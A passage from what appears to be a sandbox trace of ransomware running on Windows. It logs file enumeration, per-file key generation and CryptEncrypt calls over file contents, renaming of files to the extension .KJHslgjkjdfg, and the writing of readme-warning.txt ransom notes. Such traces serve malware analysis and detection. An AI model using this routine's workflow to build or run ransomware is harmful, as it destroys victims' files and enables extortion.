nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0134.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0134.544] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0134.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0134.545] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.545] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b1, lpOverlapped=0x0) returned 1 [0134.545] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0134.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.545] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0134.545] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.545] SetEndOfFile (hFile=0x114) returned 1 [0134.548] GetProcessHeap () returned 0x2a0000 [0134.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0134.548] GetProcessHeap () returned 0x2a0000 [0134.548] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0134.548] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0134.555] CloseHandle (hObject=0x114) returned 1 [0134.555] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.555] GetProcessHeap () returned 0x2a0000 [0134.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0134.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.555] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0134.555] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.555] GetProcessHeap () returned 0x2a0000 [0134.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0134.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.555] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0134.555] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.555] GetProcessHeap () returned 0x2a0000 [0134.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0134.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.556] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0134.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.556] GetProcessHeap () returned 0x2a0000 [0134.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0134.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.556] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0134.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.556] GetProcessHeap () returned 0x2a0000 [0134.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0134.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.556] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0134.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.556] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0134.556] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0134.557] RegCloseKey (hKey=0x114) returned 0x0 [0134.557] GetProcessHeap () returned 0x2a0000 [0134.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0134.557] GetProcessHeap () returned 0x2a0000 [0134.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0134.557] GetProcessHeap () returned 0x2a0000 [0134.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0134.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0134.557] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0134.557] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.557] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0134.557] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0134.557] GetProcessHeap () returned 0x2a0000 [0134.557] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0134.557] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0134.557] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0134.557] GetProcessHeap () returned 0x2a0000 [0134.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f3698 [0134.558] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt") returned 90 [0134.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0134.558] WriteFile (in: hFile=0x114, lpBuffer=0x2f3698*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f3698*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0134.559] CloseHandle (hObject=0x114) returned 1 [0134.559] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3698 | out: hHeap=0x2a0000) returned 1 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0134.560] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d50 | out: hHeap=0x2a0000) returned 1 [0134.560] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2ed148 [0134.560] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0134.560] GetProcessHeap () returned 0x2a0000 [0134.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0134.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.561] GetProcessHeap () returned 0x2a0000 [0134.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2c7d50 [0134.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0134.561] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=21064532) returned 1 [0134.561] GetProcessHeap () returned 0x2a0000 [0134.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0134.561] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0134.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.562] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f26c*=0xc, lpOverlapped=0x0) returned 1 [0134.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0134.571] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.571] GetProcessHeap () returned 0x2a0000 [0134.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0134.572] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30) returned 1 [0134.572] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f26c*=0x30, lpOverlapped=0x0) returned 1 [0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, lpOverlapped=0x0) returned 1 [0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0134.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0134.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0134.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0134.572] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0134.573] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0134.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0134.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.583] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0134.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0134.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0134.585] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0134.589] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0134.593] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.593] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0134.594] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.594] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0134.594] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0134.594] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0134.602] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0134.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.605] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0134.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.606] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0134.607] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.607] SetEndOfFile (hFile=0x114) returned 1 [0134.611] GetProcessHeap () returned 0x2a0000 [0134.611] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0134.611] GetProcessHeap () returned 0x2a0000 [0134.611] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0134.611] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.kjhslgjkjdfg")) returned 1 [0135.263] CloseHandle (hObject=0x114) returned 1 [0135.264] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0135.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0135.265] GetProcessHeap () returned 0x2a0000 [0135.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.265] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.265] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0135.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0135.265] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.265] GetProcessHeap () returned 0x2a0000 [0135.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0135.265] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.265] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0135.268] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0135.268] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0135.268] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0135.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, 